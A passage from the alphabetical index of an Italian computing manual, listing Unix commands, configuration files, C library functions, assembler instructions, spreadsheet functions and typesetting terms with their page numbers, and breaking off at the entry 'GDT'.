! 4449 4451 5491 5497 != 4449 4451 5491 5496 * 4449 4450 4500 5491 5493 5541 ** 4524 4525 5564 5567 *** 4524 5564 *...const 4512 *= 4449 4450 5491 5493 *& 4517 + 4449 4450 5491 5493 ++ 4449 4450 5491 5493 += 4449 4450 5491 5493 . 881 4544 4546 .ascii 4242 .bss 4244 .byte 4242 .calendar 538 542 .cdservrc 1962 .cupsrc 1705 .cvsignore 2405 .data 4244 .dictrc 3197 .dir_colors 1166 .disc-coverrc 1972 .equ 4242 .fetchmailrc 2488 .forward 2372 2468 .fvwmrc 1802 .html2psrc 3823 .htmldocrc 3842 .hushlogin 760 .inputrc 870 905 .int 4242 .LANG 2948 .LANG_FOR_X 2948 .lcomm 4242 .libao 2022 .mailrc 2472 2476 .netrc 1123 2450 .odbc.ini 5315 .plan 2372 .poprc 2487 .procmailrc 2519 2529 2716 .profile 848 2948 .project 2372 .rhosts 2372 2835 .screenrc 659 .shosts 2835 .telnetrc 2379 .text 4244 .textchk.rules 3189 .textchk.special 3189 .twmrc 1797 .vncrc 1830 .wallpaper 2902 .wgetrc 2611 .Xauthority 1737 1741 .Xdefaults 1853 .xinitrc 1730 1733 1797 1802 .xloadimage 1923 .xmodmap 1786 .XPaintrc 1924 .Xresources 1854 .xserverrc 1730 .Xsession 1810 1815 .xsession 1810 1815 / 1132 4449 4450 5491 5493 /*...*/ 4437 5476 // 1493 4437 5476 /= 4449 4450 5491 5493 0... 4443 5485 01 4981 0x... 4443 5485 10base* 2144 10base2 2147 10base5 2147 10baseT 2148 1fil 3276 1fill 3276 1filll 3276 2.11BSD 19 2421 4186 386BSD 28 5211 4186 631-1 4186 66 5004 6to4 2205 732-1 4186 8421 4186 88 5002 : 881 ; 4437 5476 = 4449 4450 5491 5493 == 4449 4451 5491 5496 ? : 4449 4451 5491 5497 A 2264 a.out 304 a.out 4185 4438 5480 A2ps 1671 A6 2264 aaa 5711 6773 aaa.c 6461 7838 AAAA 2264 abc2ly 3967 AbiWord 1882 abort 4897 abort() 4762 5767 6843 abort.c 6342 7654 abs() 1527 4765 4897 5768 6843 ABS() 8286 abs.c 6343 7655 ac 813 Accellerated graphics port 383 accento 3291 accento morto 590 ACCEPT 5027 access() 4872 4874 5767 6844 access.c 6428 7796 access.log 2546 accesso 79 accesso al sistema 754 accesso remoto 1823 1875 2372 2701 *account* 70 73 92 105 754 *accounting* 810 accton 814 ACOS() 8289 ACOSH() 8289 ACOT() 8289 ACOTH() 8289 ACPI 2961 *actual argument* 4496 adattamento automatico della scala 8124 ADC 4218 4252 5607 ADD 4218 4240 4247 5029 5607 addgroup 801 addizionatore 4104 addizione binaria 54 5438 address.c 6161 *address resolution protocol* 2128 addr_t 5639 5656 6685 6727 adduser 768 801 adduser.conf 801 ADESSO() 8283 adjtime 506 511 ADSL 2683 aerogramma 8206 affidabilità del fornitore 8188 *agent* 2392 Agetty 665 AGP 383 AH 4216 5595 AIDE 2737 aide.conf 2737 AL 4216 5595 alarm() 4872 alias 133 861 2247 2267 alias 881 aliases 2467 alias IP 2162 alimentatore 353 alimentazione 302 allineamento della memoria 4367 allineamento nella cella 8133 alloc.c 6344 allocated 6774 allocated.c 7839 ALSA 1989 Alsamixer 1984 Alsamixergui 1984 ALTER TABLE 5193 ALTER USER 5208 Amaya 3836 ambiente 940 ambiente matematico 3344 AMI 415 ammortamento 8152 AMR 386 Anacron 519 anacrontab 519 AND 4220 5608 and 4778 AND 4099 4207 5457 AND() 8283 and_eq 4778 animate 1935 ANNI() 8283 ANNO() 8283 ANNO.BISESTILE() 8283 *anycast* 2196 2204 Aplay 1989 applic.sep.ld 7031 apropos 164 APT 244 266 apt.conf 266 apt-get 243 244 ARCCOS() 8289 ARCCOSH() 8289 ARCCOT() 8289 ARCCOTH() 8289 archive.org 30 archiviazione 1208 archivio Debian 235 ARCSEN() 8289 ARCSENH() 8289 ARCTAN() 8289 ARCTANH() 8289 area di lavoro 8103 8109 8111 area di stampa 8123 Arecord 1989 argc 4522 5571 argomento attuale 4496 argv 4522 5571 Arithmetic 1353 ARP 2128 2173 array 3483 *array* 1461 4173 4324 4505 5461 5548 *array* di puntatori 4525 5567 ARROTONDA() 8286 ARROTONDA.DIFETTO() 8172 8286 ARROTONDA.ECCESSO() 8172 8286

ARROTONDA.MULTIPLO() 8172 8286 ARROTONDA.PER.DIF() 8286 ARROTONDA.PER.ECC() 8286 arrotondamento 8172 8172 8173 8173 Artistic 23 As86 5627 AsCD 1961 ascii 3164 ASCII 3151 asctime() 4828 4902 5774 6850 asctime.c 6416 7779 ASIN() 8289 ASINH() 8289 ASP 3524 Aspell 3184 ASS() 8286 assemblatore 4181 4226 assembler 4181 *assembler* 4226 *assembly* 4226 assembly 4181 assert() 4722 4917 6845 assert.h 4722 4917 7457 at 522 at.allow 521 at.deny 521 ATA 309 311 367 370 6609 ata.h 6947 7083 ata0 6931 ata1 6931 ata2 6931 ata3 6931 ata4 6931 ata5 6931 ata6 6931 ata7 6931 ATAN() 8289 atan2() 1527 ATANH() 8289 ATAPI 367 ata_cmd_identify_device() 6742 ata_cmd_identify_device.c 7086 ata_cmd_read_sectors() 6742 ata_cmd_read_sectors.c 7087 ata_cmd_write_sectors() 6742 ata_cmd_write_sectors.c 7089 ata_device() 6742 ata_device.c 7091 ata_drq() 6742 ata_drq.c 7092 ata_init() 6742 ata_init.c 7093 ata_lba28() 6742 ata_lba28.c 7098 ata_public.c 7099 ata_rdy() 6742 ata_rdy.c 7099 ata_read_sector() 6743 ata_reset() 6742 ata_reset.c 7101 ata_sector_t 6685 6741 ata_t 6685 6741 ata_valid() 6742 ata_valid.c 7101 ata_write_sector() 6743 atd 521 atexit() 4762 4897 5769 6846 atexit.c 6348 7655 *atime* 1185 atof() 4756 4897 atoi() 4756 4897 5770 6847 atoi.c 6349 7656 atol() 4756 4897 5770 6847 atol.c 6349 7657 atoll() 4756 4897 atq 522 atrm 522 atrun 521 attributo 3500 ATX 362 Audacity 1999 audio 2052 audio 1985 Audio modem riser 386 audio stream 2035 Aumix 1980 authorized_keys 2837 auto 4488 automazione-ufficio 1879 autorità di certificazione 2800 *auxiliary carry* 5595 AVI 2052 avvio 72 191 325 463 5707 6769 Award 414 AWK 1409 AX 4216 5595 *background* 492 *backspace* 575 *backup* 1256 *back cover page* 3115 badblocks 1032 Banner 1352 Barcode 3984 barra degli strumenti 8103 barra spaziatrice 575 basename 1158 basename() 5771 6848 basename.c 6265 7538 base di dati 8221 Bash 2961 basi di dati 5163 batch 522 bbb.c 6462 7841 Bcc 5625 BCD 4186 BD 1088 1090 1099 BDT 5620 bg 495 881 BH 4216 5595 *big endian* 4178 5466 big endian 4192 BIND 2239 binmode 1517 BIOS 397 *BIOS data area* 5620 bit 4440 5482 bitand 4778 bitmap 1867 *bit rate* 1950 2048 BL 4216 5595 *blank* 1271 BLANK WHEN ZERO 4992 blk.h 6732 6948 7043 blkcnt_t 4861 blksize_t 4861 blk_ata() 6948 blk_ata.c 6732 7050 blk_cache_check() 6949 blk_cache_check.c 7052 blk_cache_init() 6950 blk_cache_init.c 6732 7052 blk_cache_read() 6951 blk_cache_read.c 6732 7053 blk_cache_save() 6951 blk_cache_save.c 6732 7054 blk_cache_t 6685 blk_public.c 7055 BLOCK CONTAINS 4979 *block mode* 370 Bluetooth 4071 4072 Blu-ray 1099 Blu-ray disc 1088 bochs 5978 7032 bollo della cambiale 8216 bool 4556 4779 *boot* 72 92 191 Bootblocks 5629 *bootstrap* 72 92 bordo 8114 *borrow* 4196 4201 5448 *bot* 2430 BP 4216 5595 bp() 5649 5773 braille 733 BRE 1382 break 881 4457 4458 4460 5507 5509 5512 *bridge* 2122 brk() 6791 brk.c 7797 BRKINT 4882 brltty.conf 739 *broadcast* 2129 BSD 23 28 2 bsearch() 4763 4897 BSWAP 4217 Bubblesort 4127 4623 buffer 97 BUFSIZ 4833 4905 build.h 6152 7344 buildhash 3182 bunzip2 1217 *bus* 303 BX 4216 5595 byte 4440 4496 5482 byte order 4192 *byte order* 4178 5466 bzip2 1217 C 31 4397 4436 5475 5539 *cache* 97 1028 1073 cal 529 calendar 536 542 CALL 4221 4293 4308 5609 calloc() 4531 4762 4897 CALL FAR 5609 cambiale 8216 cambio tensione 353 campionatura sonora 1948 campo 1289 4551 cancellazione 120 121 1201 carattere 1858 4440 4496 5482 8138 carattere da stampa 3290 3405 carattere esteso 4564 carattere *jolly* 80 93 128 847 carattere speciale 3291 caratteristica 4190 caricamento di un programma 4361 *carry* 4196 4201 4203 4203 4204 4206 4216 4251 5448 5454 5454 5595 *carry in* 4109 *carry out* 4109 cartella di messaggi 2484 case 875 4457 5507 casella nome 8246 casella postale 2484 *case insensitive* 97 *case sensitive* 70 97

cast 4454 5501 CASUALE() 8286 CASUALE.TRA() 8286 cat 91 116 1271 5712 6774 cat.c 6462 7841 cattura dello schermo 1915 cavallo di Troia 2707 CBW 4217 5600 cc 4406 ccal 530 ccc.c 6464 7843 cc_t 4881 cd 87 881 Cdcd 1958 CDDA 1965 CDDB 1962 Cdlabelgen 1974 Cdparanoia 1965 CDQ 4217 cdsound-recorder 1987 CD-R 1099 CD-ROM 1088 CD-RW 1099 CEILING() 8286 cella 8094 center 3414 Center Europe summer time 503 Center Europe time 503 CERCA.ORIZZ() 8222 8291 CERCA.VERT() 8221 8291 certificato 2800 CEST 503 CET 503 cfdisk 1035 cfgmaker 2400 CGI 2566 2584 2976 5266 CH 4216 5595 chage 797 changecom 1447 chapter 3387 char 4441 5482 CHAR_BIT 4723 4888 CHAR_MAX 4723 4888 CHAR_MIN 4723 4888 chattr 1176 chdir() 1516 4872 4877 5725 6793 chdir.c 6429 7798 checkpc 1646 chfn 771 chgrp 1170 6775 chgrp.c 7844 chiamata di sistema 5688 6713 chiave privata 2779 chiave pubblica 2779 chmod 137 1174 5712 6775 chmod() 1512 4865 4920 5727 6794 chmod.c 6408 6465 7743 7845 chomp() 1517 chop() 1517 chown 1169 1512 5713 6776 chown() 4872 5728 6796 chown.c 6430 6466 7799 7847 chr() 1527 chroot 2733 CHS 1027 chsh 770 cifratura 2778 CIFS 832 cilindro 1022 cksum 1295 CL 4216 5595 Clamav 2710 clamav-home 2963 clamd 2714 clamd.conf 2714 clamdscan 2714 clamscan 2710 Clamuko 2717 Clarified Artistic License 23 classe IPv4 2131 CLC 4222 5613 CLD 5613 clear 634 clearerr() 4855 4905 5772 6849 clearerr.c 6275 7577 CLI 5612 6576 cli() 5650 6697 cli.s 7220 *click* 5594 *client* 94 client.conf 1705 cliente 94 *clipboard* 1857 clock 509 clock() 4823 4902 5729 6797 clock.c 6419 7781 CLOCKS_PER_SEC 4823 clock_t 4823 4861 clock_t.h 6237 7458 *cloner* 2430 Cloop 1104 CLOSE 5030 5207 close 1517 close() 4672 4872 5730 6798 close.c 6430 7799 closedir() 4712 4880 5772 6849 closedir.c 6249 7483 CMC 4222 5613 CMP 4222 4273 4280 4282 5613 CMPSB 5604 CMPSW 5604 CNAME 2267 COBOL 5087 5088 CODE-SET 4980 Code 128 3980 Code 39 3978 Code 39 esteso 3979 Code 3 of 9 3978 *code point* 3141 *code unit* 3143 codice a barre 3971 3984 codice di interruzione di riga 1270 4583 codice pesato 4186 codifica 3141 col 1279 colcrt 1279 collegamento 76 125 1186 4485 collegamento fisico 1187 collegamento simbolico 1187 collisione 2119 colofone 3115 *colophon* 3115 colrm 1279 column 1278 comando di *shell* 858 comando interno 880 COMBINA() 8286 COMBINAZIONE() 8286 comm 1288 command 881 COMMIT 5211 *community* 2392 comparazione binaria 4209 compilazione di un programma 4361 compl 4778 complemento alla base 52 5435 complemento a due 54 4188 5437 5440 complemento a uno 54 4187 5437 completamento automatico 127 compressione 1215 COMPUTE 5031 *computer* 60 64 comunicazione tra i processi 458 conclusione 5707 6769 condizione 8181 condotto 82 83 96 132 458 846 859 963 4703 6751 conduttura 82 83 96 132 846 859 963 config 2843 CONFIGURATION SECTION 4958 configurazione del *kernel* 297 323 configure 224 Configure.help 323 Configure-debian 248 confstr() 4872 consistenza media 8154 consistenza media di magazzino 8188 console 341 5853 6931 console 625 667 console0 6931 console1 6931 console2 6931 console3 6931 consolechars 642 console virtuale 106 592 const 4447 4448 5490 const...* 4512 const.h 6238 const volatile 4448 CONTA.SE() 8286 CONTA.VUOTE() 8286 contabilità di sistema 810 contabilità IP 2675 contenuto delle *directory* 1162 continue 881 4458 4460 5509 5512 <*Control c*> 458 <*Control* \> 458 convalida 8249 convenzione di chiamata 4307 conversione di tipo 4454 5501 *conversion specifier* 4439 5480 convert 1932 convert-ly 3967 con_char_read() 5652 con_char_read.c 6132 con_char_ready() 5652 con_char_ready.c 6133 con_char_wait() 5652 con_char_wait.c 6133 con_init() 5652 con_init.c 6134 con_putc() 5652 con_putc.c 6134 con_scroll() 5652 con_scroll.c 6136 con_select() 5652 con_select.c 6137 coordinata 8096 copertina 3115 copia 120 121 1186 8147 copia di sicurezza 1218 1256 *copyleft* 20 29 *copyright* 19 *core* 97 *core dump* 457 cos() 1527 COS()

8289 8289 COSH() 8289 8289 costante letterale composta 4553 costante numerica 8098 costola 3115 COT() 8289 8289 COTH() 8289 8289 COUNTBLANK() 8286 COUNTIF() 8286 cp 88 120 121 1190 5713 6777 cp.c 6468 7848 Cpio 1208 CPL 6571 cpp 4407 4469 CP 437 3156 CP 850 3156 Cramfs 1107 creat() 4672 4870 5773 6850 creat.c 6261 7508 create_compressed_fs 1104 CREATE DATABASE 5209 CREATE TABLE 5189 CREATE USER 5208 CREATE VIEW 5205 Creative Commons 30 crittografia 2778 crittografia asimmetrica 2779 crittografia a chiave pubblica 2779 crittografia a chiave segreta 2779 crittografia simmetrica 2779 cron 513 Cron 512 crontab 513 517 crt0.mer.s 7853 crt0.s 5641 6152 6472 6689 7344 crt0.sep.s 7855 Cruft 246 crypt() 767 cs() 5649 5773 csplit 1283 CSS 3768 3863 cstream 1201 ctermid() 4855 *ctime* 1185 ctime() 4829 4902 5774 6850 [*Ctrl_F12*] 8271 [*Ctrl* +] 8163 [*Ctrl 1*] 8131 [*Ctrl c*] 8147 [*Ctrl F2*] 8166 [*Ctrl F3*] 8246 [*Ctrl Fine*] 8109 [*Ctrl freccia*] 8109 [*Ctrl Inizio*] 8109 [*Ctrl Ins*] 8147 [*Ctrl Invio*] 8132 [*Ctrl pagina*] 8109 [*Ctrl v*] 8147 8150 [*Ctrl x*] 8150 [*Ctrl* −] 8163 ctype.h 4740 4895 6238 7458 Cups 1694 1699 cupsaccept 1700 cupsd.conf 1702 1709 cupsdisable 1700 cupsenable 1700 cupsreject 1700 CurlFtpFS 1123 cut 1289 CWD 5600 CWDE 4217 CX 4216 5595 *daemon* 72 98 daemon 499 data 5183 8185 DATA() 8186 8283 DATA.MESE() 8283 DATA.VALORE() 8283 datagramma 2119 DATA DIVISION 4976 data di accesso 1185 data di creazione 1185 data di modifica 1185 *data pilot* 8260 DATA RECORD 4979 date 506 5714 6777 DATE() 8283 date.c 6475 7858 *datei* 74 DATEVALUE() 8283 DAY() 8283 Daylight savings time 503 DAYS() 8283 DAYSINMONTH() 8283 DAYSINYEAR() 8283 Dazuko 2709 db 4242 DBA 5167 DBMS 5163 Dcd 1956 DCL 5208 dd 1196 4242 DDD 4237 4400 DDL 5167 5181 ddrescue 1199 Debconf 248 Debian 235 DebianDoc 3683 debiandoc2* 3701 Deborphan 247 debugfs 1238 1239 DEC 4218 4241 4282 5607 DECLARATIVES 5019 DECLARE 5206 default 4457 5507 define 1442 defined() 1528 DEGREES() 8286 DELETE 5031 delete() 1528 DELETE FROM 5196 Delsafe 1246 demone 72 98 497 Denemo 3967 DEPENDING ON 4996 depmod 332 descrittore 4672 *desktop* 1815 dev.h 6730 6952 7055 Dev86 4577 devices.h 5660 5867 5987 dev_ata() 6955 dev_ata.c 7062 DEV_CONSOLE 5663 6733 DEV_CONSOLE***n*** 5663 6733 dev_dm() 6955 dev_dm.c 6730 7064 DEV_DM***mn*** 6733 dev_dsk() 5869 dev_dsk.c 5660 5987 DEV_DSK***n*** 5663 dev_io() 5660 5869 6730 6954 dev_io.c 5660 5988 6730 7065 dev_kmem() 5870 6956 dev_kmem.c 5660 5989 6730 7066 DEV_KMEM_FILE 5663 6733 DEV_KMEM_INODE 5663 6733 DEV_KMEM_MMP 5663 6733 DEV_KMEM_PS 5663 6733 DEV_KMEM_SB 5663 6733 DEV_MEM 5663 6733 dev_mem() 5871 6957 dev_mem.c 5992 7070 DEV_NULL 5663 6733 DEV_PORT 5663 6733 dev_t 4861 DEV_TTY 5663 6733 dev_tty() 5872 6957 dev_tty.c 5660 5994 6730 7072 DEV_ZERO 5663 6733 df 118 1069 DH 4216 5595 dhclient 2362 dhclient.conf 2362 dhclient.leases 2362 DHCP 2351 2968 3029 dhcp.conf 2353 2353 dhcp.leases 2353 dhcp3-server 2358 dhcpcd 2361 dhcpd 2353 dhcrelay 2361 di 1069 DI 4216 5595 diag.h 5636 5872 5996 Dialog 951 Dict 3197 dict.conf 3197 3197 Dictd 3193 die() 1529 diff 1302 differenza tra i *file* 226 1302 difftime() 4826 4902 Dig 2252 *digraph* 4446 4499 5488 dimensione celle 8113 DIN 476 3105 dir 1162 DIR 4711 4711 4880 DIR.c 6248 7483 dircolors 1166 *direction* 5595 directory 4684 *directory* 74 111 1156 4711 directory_t 5639 6685 *directory* corrente 111 *directory home* 113 *directory* personale 113 dirent.h 4711 4879 6247 7476 dirname 1159 dirname() 5771 6848 dirname.c 6266 7539 DIR_COLORS 1166 dischetto 308 disco 1018 disco fisso 308 309 disco magneto-ottico 1143 disco RAM iniziale 341 disco senza partizioni 1143 Disc-Cover 1972 disc-cover.conf 1972 disklabel 5 disktype 1040 dislocamento 4278 DISPARI() 8286 *displacement* 4278 DISPLAY 5032 display 1936 displaymath 3470 dispositivo 156 335 dispositivo di memorizzazione 181 dispositivo di

puntamento 646 1718 dissipazione 358 DIV 4218 4262 5607 div() 4765 4897 5776 6852 div.c 6350 7657 divert 1448 DIVIDE 5033 divisione binaria 56 5440 div_t 4755 4755 dizionario 3193 DL 4216 5595 dll.conf 1903 dls 1245 dm.h 6958 7074 DMA 370 DML 5167 5193 dm_init.c 7080 dm_public.c 7083 dm_t 6741 dnl 1447 DNS 2138 2234 2968 do 4459 5511 do() 1529 DocBook 3705 document 3376 documentazione 159 documentazione FAQ 170 documentazione interna 161 documentazione ipertestuale 166 documentazione LDP 170 documentazione specializzata 170 documentazione tradotta 162 dog 1275 domainname 2335 DOMENICA.DI.PASQUA() 8283 dominio 94 dominio, nome di 2137 dorso 3115 doschk 1046 dosfsck 1044 *dot-clock* 1753 double 4441 5482 Dpkg 240 dpkg-reconfigure 248 dpkg-reconfigure locales 559 dpkg-scanpackages 276 280 DPL 6571 driveprm 1143 DROP TABLE 5193 DROP USER 5208 DROP VIEW 5205 ds() 5649 5773 Dselect 243 254 dsk0 5853 dsk1 5853 dsk_chs_t 5639 5653 dsk_read_bytes() 5654 dsk_read_bytes.c 6137 dsk_read_sectors() 5654 dsk_read_sectors.c 6138 dsk_reset() 5654 dsk_reset.c 6140 dsk_sector_to_chs() 5654 dsk_sector_to_chs.c 6140 dsk_setup() 5654 dsk_setup.c 6141 dsk_t 5639 5653 dsk_table.c 6141 dsk_write_bytes() 5654 dsk_write_bytes.c 6142 dsk_write_sectors() 5654 dsk_write_sectors.c 6143 DSN 5315 dsp 1985 DST 503 DTD 3494 3601 dtd2html 3549 dtddiff 3549 du 118 1071 1167 dumpe2fs 1042 dumpkeys 598 dup() 4872 5731 6798 dup.c 6431 7800 dup2() 4872 5731 6798 dup2.c 6431 7800 durata di memorizzazione 4497 durata media di permanenza in magazzino 8189 DVD 1090 2069 DVD+rw-format 1101 DVD+rw-tools 1101 Dvdauthor 2071 2073 Dvdbackup 2071 DVDStyler 2088 DVD-ROM 1088 DVD±R 1099 DVD±RW 1099 DVI 1605 dvi2fax 1617 dviconcat 1617 dvicopy 1615 dvidvi 1616 Dvilj 1612 dvipng 1618 Dvips 1606 dvired 1619 dviselect 1615 DX 4216 5595 E() 8283 e2fsck 1043 E2undel 1250 EAN 3974 EAN-13 3972 EAN-8 3972 EASTERSUNDAY() 8283 Eawpatches 2014 EAX 4216 EBP 4216 4300 EBX 4216 eccesso 3 4186 eccezione 6601 ECHO 4883 echo 881 914 942 ECHOE 4883 ECHOK 4883 ECHONL 4883 ECX 4216 ed 5715 6778 ed.c 6477 7861 EDATE() 8283 EDI 4216 *editing* 1321 editoria elettronica 1533 3101 3135 EDOM 4733 edquota 1086 EDX 4216 *effective user id* 754 EFLAGS 4216 egrep 1392 EHCI 391 ehci-hcd.ko 395 EIDE 373 EILSEQ 4733 EIP 4216 EISA 381 elaboratore 60 64 elaboratore cliente 94 elaboratore servente 95 ELF 304 4373 elf-to-os32 7032 eliminazione di celle 8163 eliminazione di colonne 8165 eliminazione di righe 8165 else 4455 5504 El-Torito 1091 *email* 2461 2485 2505 EncFS 1128 encfsctl 1130 endgrent() 6876 endianess 4192 *endianess* 4178 5466 endpwent() 5803 6883 Enscript 1676 ENTER 4303 4308 5609 entità generale 3502 entità parametrica 3502 enum 4542 enumerate 3416 enumerazione 4542 enumi 3416 enumii 3416 enumiii 3416 enumiv 3416 env 940 environ 4654 5861 6941 environ.c 6432 7801 environment.c 6351 7658 ENVIRONMENT DIVISION 4957 EOF 4584 4833 4905 eof 1517 EOMONTH() 8283 EPS 1577 eps2eps 1581 Eqn 1557 equ 4242 equation 3387 3470 ERANGE 4733 ERE 1382 errfn 5777 6854 errln 5777 6854 errno 4595 4681 4733 5777 6854 errno.c 6259 7500 errno.h 4733 6254 7489 error.log 2546 errore 8170 errore di segmentazione 4365 errset() 5777 6854 es() 5649 5773 [*Esc*] 8132 *escape* 130 849 esecuzione di un programma 4361 eseguibile 86 145 304 926 ESI 4216 ESP 4216 espansione 853 esponente 4190 espressione 1468 8100 8144 espressione aritmetica 880 espressione multipla 4454 5502 espressione regolare 98 1381 1390 1497 4635 ESSID 2286 estensione .mg 2008 estensione .mid 2006 estensione .midi 2006 etf2ly 3967 Etherape 1878 Ethernet 328 2139 2144 2157 2165 ethers 2174 *european article number* 3974 eval 881 eval() 1529 EVEN() 8286 exec 881 exec() 1525 execl() 4650 4872 5783 6860 execl.c 6432 7801 execle() 4872 5783 6860 execle.c 6433

7802 execlp() 4872 5783 6860 execlp.c 6433 7802 execv() 4872 5783 6860 execv.c 6434 7803 execve() 4655 4872 5732 6799 execve.c 6435 7804 execvp() 4872 5783 6860 execvp.c 6436 7805 Exiftool 1895 exists() 1528 EXIT 5034 exit 848 881 exit() 1529 4466 4762 4897 5520 5769 6846 exit.c 6352 7659 EXIT_FAILURE 4755 EXIT_SUCCESS 4755 *exit status* 859 EXP() 8286 8286 exp() 1527 expand 1291 export 881 exportfs 2322 exports 2322 expr 961 Ext2 93 181 Ext3 93 181 Ext4 93 181 Extended industry standard architecture 381 Extended service set it 2286 extern 4486 4488 *external linkage* 4485 extern const volatile 4448 EXTLINUX 196 202 extract_compressed_fs 1104 F 4443 5485 [*F11*] 8254 [*F12*] 8270 FACT() 8286 factor 1318 fakechroot 2736 Fakeroot 2736 false 829 957 4779 FALSE() 8283 falselogin 829 falselogin.conf 829 FALSO() 8283 FAQ 170 FAT 93 FATTORIALE() 8286 fattura-00.ods 8120 fattura-01.ods 8128 fattura-02.ods 8141 fattura-03.ods 8160 fattura-04.ods 8175 fattura-05.ods 8178 fattura-06.ods 8191 fattura-07.ods 8212 fattura-08.ods 8218 fattura-09.ods 8223 fattura-10.ods 8226 fattura-11.ods 8229 fattura-12.ods 8232 fattura-13.ods 8235 fattura-14.ods 8238 fattura-15.ods 8252 fb0 643 fbcon 643 fchdir() 6793 fchdir.c 6437 7806 fchmod() 4865 4920 5727 6794 fchmod.c 6409 7743 fchown() 4872 5728 6796 fchown.c 6437 7806 fclose() 4587 4837 4905 5785 6862 fclose.c 6275 7577 fcntl 1517 fcntl() 4870 5733 6801 fcntl.c 6261 7509 fcntl.h 4672 4867 6259 7500 FD 4977 fdformat 152 1142 fdisk 183 1033 fdopen() 4837 fd_chmod() 5677 5875 fd_chmod.c 6019 fd_chown() 5677 5876 fd_chown.c 6020 FD_CLOEXEC 4712 4867 fd_close() 5677 5877 fd_close.c 6021 fd_dup() 5677 5878 6758 6958 fd_dup.c 6023 7131 fd_dup2() 5677 5878 fd_dup2.c 6024 fd_fcntl() 5677 5880 fd_fcntl.c 6025 fd_lseek() 5677 5882 fd_lseek.c 6026 fd_open() 5677 5884 fd_open.c 6028 fd_read() 5677 5886 fd_read.c 6032 fd_reference() 5677 5888 6758 6959 fd_reference.c 6035 7133 fd_stat() 5677 5927 fd_stat.c 6036 fd_t 5639 6685 fd_write() 5677 5889 fd_write.c 6037 feof() 4855 4905 5786 6863 feof.c 6276 7578 ferror() 4855 4905 5786 6863 ferror.c 6276 7578 FETCH 5206 Fetchmail 2488 fflush() 4839 4905 5787 6864 fflush.c 6276 7578 FFmpeg 2055 ffs() 4866 fg 495 881 fgetc() 4850 4905 5788 6864 fgetc.c 6277 7579 fgetpos() 4853 4905 5789 6865 fgetpos.c 6277 7579 fgets() 4593 4851 4905 5790 6866 fgets.c 6278 7580 fgrep 1392 FHS 1131 Fibonacci 4124 4618 *fichier* 74 FIFO 458 1224 4703 fig2dev 1886 figure 3387 3425 3425 *file* 65 894 4962 file 4672 FILE 4561 4582 4586 4833 file 117 1166 FILE.c 6275 7577 FILENAME_MAX 4833 4905 fileno 1517 fileno() 5791 6867 fileno.c 6279 7581 file_pipe_make() 6961 file_pipe_make.c 7134 file_reference() 5673 5890 6754 6961 file_reference.c 6039 7135 file_stdio_dev_make() 5673 5891 6754 6962 file_stdio_dev_make.c 6040 7136 file_t 5639 5672 6685 6753 file_table.c 6041 7137 FILE-CONTROL 4961 *file*-immagine 1144 *file-make* 224 File-roller 1874 *file* aperto 482 *file crontab* 512 *file* di dispositivo 335 file di intestazione 4469 *file* di testo 141 1270 1321 file eseguibile 86 4363 *file manager* 1871 *file* manager 1337 *file* normale 74 file oggetto 4361 *file* PPD 1649 FILE SECTION 4977 file speciale 4696 *file system* 4681 4689 *file* temporaneo 940 *file system* 65 74 152 1032 1032 1131 *file system* compresso 1104 *file system* Unix 1028 filigrana 2855 FILLER 4987 filmato 2047 2052 2054 filtro 8242 filtro di pacchetto IP 2651 filtro di stampa 1655 1657 *finalization* 1089 Find 151 1394 [*Fine*] 8109 FINE.MESE() 8283 fine lavoro 106 finger 2370 Finger 2370 2698 fingerd 2370 *firewall* 2642 2651 firma digitale 2778 firma elettronica 2778 firma MD5 1296 firma SHA1 1297 fissamaiuscole 575 589 *fixation* 1089 Flac 2025 *flag* 4182 4201 FLAGS 4216 5595

float 4441 5482 flock 1517 flockfile() 4854 *flooder* 2430 FLOOR() 8286 *floppy* 308 FLOSS 30 fls 1241 flushleft 3414 flushright 3414 flusso di controllo 4656 flusso di file 4582 fmt 1276 fold 1278 *font* 1858 Foomatic-rip 1669 footnote 3387 3405 FOP 3596 fopen() 4587 4837 4905 5791 6868 fopen.c 6279 7581 FOPEN_MAX 4833 4905 for 874 1476 4460 5512 foreach 1476 *foreground* 492 Foremost 1243 1245 foremost.conf 1243 fork() 4648 4872 5735 6803 fork.c 6438 7807 forloop 1446 *form* 8244 *formal parameter* 4496 formato a.out 4185 formato logico 8181 formattazione 1032 formula 8100 8144 Fortune 1357 FOSS 30 fpathconf() 4872 fpos_t 4561 4833 fprintf() 4844 4911 5818 6897 fprintf.c 6281 7583 fputc() 4850 4905 5793 6870 fputc.c 6281 7583 fputs() 4593 4851 4905 5794 6871 fputs.c 6282 7584 FQDN 2137 *frame* 2120 *frame buffer* 643 645 FRAZIONE_ANNO() 8283 fread() 4588 4852 4905 5795 6872 fread.c 6282 7584 [*freccia*] 8109 free 486 free() 4531 4762 4897 5810 6889 free.c 7678 FreeAmp 2032 2040 FreeBSD 28 freopen() 4837 4905 5791 6868 freopen.c 6283 7585 freshclam 2712 freshclam.conf 2712 frontespizio 3115 *front cover page* 3115 fs.h 5664 5873 6014 6743 6958 7121 fscanf() 4849 4914 5827 6906 fscanf.c 6284 7586 fsck 1045 fsck.ext2 1043 fsck.ext3 1043 fsck.ext4 1043 fsck.msdos 1044 fseek() 4591 4853 4905 5796 6873 fseek.c 6284 7586 fseeko() 4853 5796 6873 fseeko.c 6284 7586 fsetpos() 4853 4905 5789 6865 fsetpos.c 6285 7587 fstab 1066 1078 1121 2907 fstat() 4865 4920 5755 6829 fstat.c 6409 7744 fs_init() 6960 fs_init.c 7137 ftell() 4591 4853 4905 5797 6874 ftell.c 6285 7587 ftello() 4853 5797 6874 ftello.c 6286 7588 FTP 2447 ftp 2450 ftpchroot 2459 ftpd 2457 ftpusers 2449 2459 ftpwelcome 2459 FTP anonimo 2449 2701 FTP attivo 2447 FTP passivo 2447 ftruncate() 4872 ftrylockfile() 4854 *fully qualified domain name* 2137 *function-like macro* 4470 funlockfile() 4854 funzione 878 3357 8166 FUSE 1118 fuse.conf 1119 Fuser 482 2750 fusermount 1118 fusibile 355 fusione 4139 fusione celle 8119 fuso orario 828 Fvwm 1802 fwrite() 4588 4852 4905 5798 6875 fwrite.c 6286 7588 F_DUPFD 4867 F_GETFD 4867 F_GETFL 4867 F_GETLK 4867 F_GETOWN 4867 F_OK 4872 F_RDLCK 4869 F_SETFD 4867 F_SETFL 4867 F_SETLK 4867 F_SETLKW 4867 F_SETOWN 4867 F_UNLCK 4869 F_WRLCK 4869 Gaim 2442 *garbage collector* 4531 GAS 4226 *gateway* 2122 Gazie 8433 8548 gcal 533 GCC 4406 gcc 4406 Gcd 1961 GCD() 8286 GDB 4229 4400 Gdialog 951 Gdm 1814 GDT 